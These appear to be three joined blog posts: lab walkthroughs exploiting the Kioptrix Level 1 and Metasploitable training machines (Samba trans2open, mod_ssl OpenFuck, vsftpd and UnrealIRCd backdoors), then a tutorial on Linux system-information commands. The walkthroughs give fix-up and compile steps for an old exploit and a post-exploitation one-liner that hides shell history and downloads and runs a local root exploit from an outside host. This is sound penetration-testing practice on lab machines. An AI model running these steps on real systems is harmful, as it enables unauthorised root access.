Pentest lab - Kioptrix Level 1

For today's pentest lab, I will use the Kioptrix Level 1 virtual machine as the target. Kioptrix Level 1 is the first in a series of vulnerable machines for beginner penetration testing practice.

 First, to get its IP address, I  had to ping sweep the subnet by using:

nmap -sP 192.168.127.0/24

The target's IP address is 192.168.127.153

Results for the nmap scan follow:

nmap -sS -sV 192.168.127.153

Starting Nmap 6.45 ( http://nmap.org ) at 2014-04-24 12:59 EDT
Nmap scan report for 192.168.127.153
Host is up (0.00017s latency).
Not shown: 994 closed ports
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 2.9p2 (protocol 1.99)
80/tcp    open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp   open  ssl/http    Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
32768/tcp open  status      1 (RPC #100024)

So. there are a couple of vulnerable services we can exploit. Let's search for Samba exploits, as it's likely to find something useful.

I chose the exploit/linux/samba/trans2open exploit, which I successfully used before. And the payload to go with it will be a standard reverse shell: linux/x86/shell/reverse_tcp

The other options I had to specify were the RHOST (target) and LHOST (local machine). Then just type exploit and let the magic unfold:

Hooray! The box is ours.


Now let's try that outdated Apache server. Here are the results from a Nikto scan against it:

nikto -host 192.168.127.153
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.127.153
+ Target Hostname:    192.168.127.153
+ Target Port:        80
+ Start Time:         2014-04-30 13:10:26 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
+ Server leaks inodes via ETags, header found with file /, inode: 34821, size: 2890, mtime: Wed Sep  5 23:12:46 2001
+ The anti-clickjacking X-Frame-Options header is not present.
+ OSVDB-637: Enumeration of users is possible by requesting ~username (responds with 'Forbidden' for users, 'not found' for non-existent users).
+ OSVDB-27487: Apache is vulnerable to XSS via the Expect header
+ Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.7). Apache 2.0.65 (final release) and 2.2.26 are also current.
+ mod_ssl/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ OpenSSL/0.9.6b appears to be outdated (current is at least 1.0.1e). OpenSSL 0.9.8r is also current.
+ Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-838: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.
+ OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.
+ OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.
+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. CVE-2002-0082, OSVDB-756.
+ ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.
+ OSVDB-682: /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html.
+ OSVDB-3268: /manual/: Directory indexing found.
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-3092: /test.php: This might be interesting...
+ 7355 requests: 0 error(s) and 20 item(s) reported on remote host
+ End Time:           2014-04-30 13:10:47 (GMT-4) (21 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

In bold is the interesting bit we'll try to exploit. Let's look at the exploit description:

mod_ssl < 2.8.7 is vulnerable to a remotely exploitable buffer overflow when attempting to cache SSL sessions. This allows for remote code execution, and the modification of any file on the system.

Alright, the exploit is available at http://www.exploit-db.com/exploits/764/

A little modification is necessary because the exploit is old. If we try to compile right away we will get a bunch of errors. So let's make the changes:

- if you don't already have it, install the libssl-dev library:
 apt-get install libssl-dev

- add the following lines in the C source code:
#include <openssl/rc4.h>

#include <openssl/md5.h>

- search for wget in the source and replace the URL with the newer one:
http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c

- in the get_server_hello function, change the declaration unsigned char *p, *end; to const unsigned char *p, *end;

Now we can compile the exploit:
gcc -o openfuck openfuck.c -lcrypto

Now, if you run it, you will see a range of supported offsets. From our previous scan, we know those applicable to our target are the redhat 1.3.20 versions. We can manually search for them in the offsets or run the following:
./openfuck | grep -i redhat | grep "1.3.20"

This will give us 2 offsets:
0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2

So, let's try it out:
./openfuck 0x6a 192.168.127.153 443

Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80fe500
Ready to send shellcode
Spawning shell...
Good Bye!

Ok, that one didn't work. Let's try the other one:

./openfuck 0x6b 192.168.127.153 443

Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80fc4e8
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$
bash-2.05$ unset HISTFILE; cd /tmp; wget http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p;
--14:29:59--  http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
           => `ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 3,921 [text/x-csrc]

    0K ...                                                   100% @   3.74 MB/s

14:30:00 (3.74 MB/s) - `ptrace-kmod.c' saved [3921/3921]

[+] Attached to 1444
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
whoami
root

And again, we have a shell  \@/

Ok, this was the first level in the Kioptrix series. Here's a cookie till next time:

You're a card which will have to be dealt with.

Pentest lab - Metasploitable

Today I am going to walk through exploiting the Metasploitable vulnerable machine. Metasploitable is a deliberately vulnerable Linux machine that can be used to practice penetration testing.

In my lab environment, the IP of the attacker machine is 192.168.127.133, and the victim machine is 192.168.127.154.

So, let's begin by port scanning the target and see what's available I will perform a SYN scan with service and OS detection:

Whoaa! We can see there are plenty of services just waiting to receive some attention. Well, this is meant to be exploitable from all angles to facilitate learning and exercise. And by the way, I'll ignore that cozy root shell on port 1524. Let's just get our own!

Metasploit

Since we saw there are 2 FTP servers running, let's launch Metasploit and search for a suitable exploit.

msf > search vsftpd

[!] Database not connected or cache not built, using slow search

Matching Modules

================

   Name                                  Disclosure Date  Rank       Description

   ----                                  ---------------  ----       -----------

   exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  VSFTPD v2.3.4 Backdoor Command Execution

Excellent! We have a ready exploit for the version of vsftpd that's listening on our target. Let's select it and look at its requiremenets:

msf > use exploit/unix/ftp/vsftpd_234_backdoor

msf exploit(vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name   Current Setting  Required  Description

   ----   ---------------  --------  -----------

   RHOST                   yes       The target address

   RPORT  21               yes       The target port

Exploit target:

   Id  Name

   --  ----

   0   Automatic

Let's look at the available payloads:

msf exploit(vsftpd_234_backdoor) > show payloads

Compatible Payloads

===================

   Name               Disclosure Date  Rank    Description

   ----               ---------------  ----    -----------

   cmd/unix/interact                   normal  Unix Command, Interact with Established Connection

Now let's set the remote host to the IP of the victim and the payload to the cmd/unix/interact payload, and review our configuration:

msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.127.154

RHOST => 192.168.127.154

msf exploit(vsftpd_234_backdoor) > set PAYLOAD cmd/unix/interact

PAYLOAD => cmd/unix/interact

msf exploit(vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name   Current Setting  Required  Description

   ----   ---------------  --------  -----------

   RHOST  192.168.127.154  yes       The target address

   RPORT  21               yes       The target port

Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description

   ----  ---------------  --------  -----------

Exploit target:

   Id  Name

   --  ----

   0   Automatic

All set! Now let's see if we can get in:

msf exploit(vsftpd_234_backdoor) > exploit

[*] The port used by the backdoor bind listener is already open

[+] UID: uid=0(root) gid=0(root)

[*] Found shell.

[*] Command shell session 1 opened (192.168.127.133:57347 -> 192.168.127.154:6200) at 2014-04-15 13:44:16 -0400

whoami

root

uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Woohoo! We're in and we're root! The machine is now at our mercy! But for now, let's just get back to the initial board and pick another service to exploit, this time using Armitage.

Armitage

On the Armitage window, let's first add our target to the workspace. Go to the Hosts tab and select Add Hosts, then enter the IP of the target. The workspace will look like this:

Let's take a shortcut and go to the Attacks tab and select Find Attacks. After the analysis is complete, we can right-click the host and see a list of attacks that might work on the target, split into service categories, like SSH, HTTP, Samba etc. This time we'll go for the IRC service, using the unreal_ircd_3281_backdoor exploit. Launch it and we can see we've successfully gained a session:

So here we went through using Metasploit and Armitage to hack a vulnerable machine. Of course, you won't (hopefully) find such easy targets in the wild, but this is a good exercise.

Today's cookie:

You will be a winner today.  Pick a fight with a four-year-old.

Getting system information on Linux

Today we're going to look at how to use various Linux utilities to gain information about the system. A quick way to get the picture of the underlying kernel is via the uname command. With the -a switch, it will print all information. On my Kali machine, the output is the following:

uname -a
Linux kali 3.12-kali1-amd64 #1 SMP Debian 3.12.6-2kali1 (2014-01-06) x86_64 GNU/Linux

And to break it up in the components:

Kernel name: Linux

Network node hostname: kali

Kernel release: 3.12-kali1-amd64

Kernel version: #1 SMP Debian 3.12.6-2kali1 (2014-01-06)

Machine architecture: x86_64

Operating system: GNU/Linux

Now we might want to see the processes that are running on the system. There are several ways to do this.

We can use ps to get a snapshot of the current processes. Here's how the output will look (note that it's not the complete list of all the processes because I doubt you would want to scroll down that much. The -e flag stands for all processes and I piped the output to tail to get only the last 10 in the list):

ps -e | tail

 9732 ?        00:00:16 firefox

 9735 ?        00:00:13 idle-python2.7

 9749 ?        00:00:00 at-spi-bus-laun

 9755 ?        00:00:18 python2.7

 9788 ?        00:00:01 gedit

 9920 ?        00:00:00 kworker/0:0

 9925 pts/0    00:00:00 less

 9926 ?        00:00:00 kworker/0:1

 9927 pts/1    00:00:00 ps

 9928 pts/1    00:00:00 tail

Another way is to use top. It produces a dynamic view of the processes that keeps updating as you look at it:

Some of the fields are self-explanatory, like the PID, user and command line field, but others may require additional explanation:

PR refers to the scheduling priority of the task. We can see the majority having a low priority of 20, but there is also a rt, which means it's a real time priority

NI represents the nice value. Negative means higher priority, whereas positive is a lower priority

VIRT is the amount of the virtual memory used by the process

RES is the resident memory size, showing the amount of physical memory that the process is really using

SHR is the shared memory size (memory that could be shared with other processes)

S refers to the status of the process. In this case, we have an R for a running process and an S for the rest of sleeping processes

%CPU - CPU usage

%MEM - memory usage

TIME+ refers to the CPU time in hundredths of a second

To see the disk space usage, we can use df with the -h (for human readable flag):

If we want to know how long the system has been running and to see the currently logged on users, we can use the w command:

Here we can see the local time, the uptime, how many users are logged on and the system load for the past 1, 5 and 15 minutes. For every user, we can look at potentially interesting things, such as  the address they're logging in from (in this case coming from the localhost), the time of login, the idle time or the command line of their current process.

And I think I'll finish with a random fortune cookie from the awesome fortune program:

You will be winged by an anti-aircraft battery.